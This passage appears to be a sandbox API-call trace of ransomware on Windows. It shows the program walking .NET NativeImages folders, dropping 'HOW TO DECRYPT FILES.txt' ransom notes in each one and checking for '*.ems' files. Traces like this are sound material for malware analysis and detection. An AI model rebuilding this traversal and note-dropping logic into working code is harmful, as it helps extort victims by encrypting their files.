lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\ehExtHost.ni.exe") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\ehExtHost.ni.exe" [0107.266] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehExtHost\\ad37b6e3a1cb1081592f1c5797ae9dad\\ehExtHost.ni.exe", pszSpec="*.ems") returned 0 [0107.266] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3037f2b6, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x3037f2b6, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x8c230682, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x5f000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehExtHost.ni.exe", cAlternateFileName="EHEXTH~1.EXE")) returned 0 [0107.266] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.267] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f12f980, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f12f980, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f12f980, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ad37b6e3a1cb1081592f1c5797ae9dad", cAlternateFileName="AD37B6~1")) returned 0 [0107.267] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.267] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f389610, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f389610, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f389610, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680065, dwReserved1=0x780045, cFileName="ehiActivScp", cAlternateFileName="EHIACT~1")) returned 1 [0107.267] lstrcmpA (lpString1=".", lpString2="ehiActivScp") returned -1 [0107.267] lstrcmpA (lpString1="..", lpString2="ehiActivScp") returned -1 [0107.267] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.267] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ehiActivScp" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp" [0107.267] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f389610, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f389610, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f389610, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.282] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.282] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f389610, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f389610, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f389610, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.282] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.282] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.282] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f389610, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f389610, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f389610, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ee22f412f6314443add3ca412afd6569", cAlternateFileName="EE22F4~1")) returned 1 [0107.282] lstrcmpA (lpString1=".", lpString2="ee22f412f6314443add3ca412afd6569") returned -1 [0107.282] lstrcmpA (lpString1="..", lpString2="ee22f412f6314443add3ca412afd6569") returned -1 [0107.283] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\*.*") returned="*.*" [0107.283] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\", lpString2="ee22f412f6314443add3ca412afd6569" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569" [0107.283] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f389610, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f389610, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f389610, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.285] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.285] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f389610, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f389610, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f389610, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.285] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.286] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.286] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3634b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f3634b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f3634b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiActivScp.ni.dll", cAlternateFileName="EHIACT~1.DLL")) returned 1 [0107.286] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.286] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehiActivScp.ni.dll") returned -1 [0107.286] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehiActivScp.ni.dll") returned 1 [0107.286] lstrcmpiA (lpString1="", lpString2="ehiActivScp.ni.dll") returned -1 [0107.286] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\*.*") returned="*.*" [0107.286] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\" [0107.286] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\") returned="" [0107.286] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\HOW TO DECRYPT FILES.txt" [0107.286] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiactivscp\\ee22f412f6314443add3ca412afd6569\\how to decrypt files.txt")) returned 0xffffffff [0107.286] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehiactivscp\\ee22f412f6314443add3ca412afd6569\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.289] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.289] CloseHandle (hObject=0x90) returned 1 [0107.290] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\", lpString2="ehiActivScp.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\ehiActivScp.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\ehiActivScp.ni.dll" [0107.290] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiActivScp\\ee22f412f6314443add3ca412afd6569\\ehiActivScp.ni.dll", pszSpec="*.ems") returned 0 [0107.290] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f3634b0, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f3634b0, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f3634b0, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x1f000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiActivScp.ni.dll", cAlternateFileName="EHIACT~1.DLL")) returned 0 [0107.290] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.290] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3f389610, ftCreationTime.dwHighDateTime=0x1d301c0, ftLastAccessTime.dwLowDateTime=0x3f389610, ftLastAccessTime.dwHighDateTime=0x1d301c0, ftLastWriteTime.dwLowDateTime=0x3f389610, ftLastWriteTime.dwHighDateTime=0x1d301c0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ee22f412f6314443add3ca412afd6569", cAlternateFileName="EE22F4~1")) returned 0 [0107.290] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.290] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fa8f020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5fa8f020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5fa8f020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680065, dwReserved1=0x410069, cFileName="ehiBmlDataCarousel", cAlternateFileName="EHIBML~1")) returned 1 [0107.290] lstrcmpA (lpString1=".", lpString2="ehiBmlDataCarousel") returned -1 [0107.291] lstrcmpA (lpString1="..", lpString2="ehiBmlDataCarousel") returned -1 [0107.291] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.291] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ehiBmlDataCarousel" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel" [0107.291] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fa8f020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5fa8f020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5fa8f020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.293] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.293] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fa8f020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5fa8f020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5fa8f020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.293] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.293] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.293] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fa8f020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5fa8f020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5fa8f020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="99c61751c71078d92ff372495bc38fc3", cAlternateFileName="99C617~1")) returned 1 [0107.293] lstrcmpA (lpString1=".", lpString2="99c61751c71078d92ff372495bc38fc3") returned -1 [0107.293] lstrcmpA (lpString1="..", lpString2="99c61751c71078d92ff372495bc38fc3") returned -1 [0107.294] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\*.*") returned="*.*" [0107.294] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\", lpString2="99c61751c71078d92ff372495bc38fc3" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3" [0107.294] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fa8f020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5fa8f020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5fa8f020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0107.297] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.297] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fa8f020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5fa8f020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5fa8f020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.297] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.297] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.297] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303a5411, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x303a5411, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9aebd275, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x1ae00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiBmlDataCarousel.ni.dll", cAlternateFileName="EHIBML~1.DLL")) returned 1 [0107.297] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0107.297] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="ehiBmlDataCarousel.ni.dll") returned -1 [0107.297] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="ehiBmlDataCarousel.ni.dll") returned 1 [0107.297] lstrcmpiA (lpString1="", lpString2="ehiBmlDataCarousel.ni.dll") returned -1 [0107.297] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\*.*") returned="*.*" [0107.297] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\" [0107.297] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\") returned="" [0107.297] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\HOW TO DECRYPT FILES.txt" [0107.298] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehibmldatacarousel\\99c61751c71078d92ff372495bc38fc3\\how to decrypt files.txt")) returned 0xffffffff [0107.298] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v2.0.50727_64\\ehibmldatacarousel\\99c61751c71078d92ff372495bc38fc3\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0107.301] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0107.301] CloseHandle (hObject=0x90) returned 1 [0107.301] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\", lpString2="ehiBmlDataCarousel.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\ehiBmlDataCarousel.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\ehiBmlDataCarousel.ni.dll" [0107.301] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiBmlDataCarousel\\99c61751c71078d92ff372495bc38fc3\\ehiBmlDataCarousel.ni.dll", pszSpec="*.ems") returned 0 [0107.301] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x303a5411, ftCreationTime.dwHighDateTime=0x1cb8b27, ftLastAccessTime.dwLowDateTime=0x303a5411, ftLastAccessTime.dwHighDateTime=0x1cb8b27, ftLastWriteTime.dwLowDateTime=0x9aebd275, ftLastWriteTime.dwHighDateTime=0x1cb8939, nFileSizeHigh=0x0, nFileSizeLow=0x1ae00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="ehiBmlDataCarousel.ni.dll", cAlternateFileName="EHIBML~1.DLL")) returned 0 [0107.302] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0107.302] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5fa8f020, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5fa8f020, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5fa8f020, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="99c61751c71078d92ff372495bc38fc3", cAlternateFileName="99C617~1")) returned 0 [0107.302] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0107.302] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f89fe40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f89fe40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f89fe40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x680065, dwReserved1=0x420069, cFileName="ehiExtens", cAlternateFileName="EHIEXT~1")) returned 1 [0107.302] lstrcmpA (lpString1=".", lpString2="ehiExtens") returned -1 [0107.302] lstrcmpA (lpString1="..", lpString2="ehiExtens") returned -1 [0107.302] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0107.302] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="ehiExtens" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens" [0107.302] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\ehiExtens\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f89fe40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f89fe40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f89fe40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0107.303] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0107.303] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f89fe40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f89fe40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f89fe40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0107.303] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0107.303] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0107.303] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5f89fe40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5f89fe40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5f89fe40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d122f8c71cdd586e76d9617f80a0297f", cAlternateFileName="D122F8~1")) returned 1 [0107.303] lstrcmpA (lpString1=".", lpString2="d122f8c71cdd586e76d9617f80a0297f") returned -1 [0107.303] lstrcmpA (lpString1="..", lpString2="d122f8c71cdd586e76d9617f80a0297f") returned -1 [0107.303] 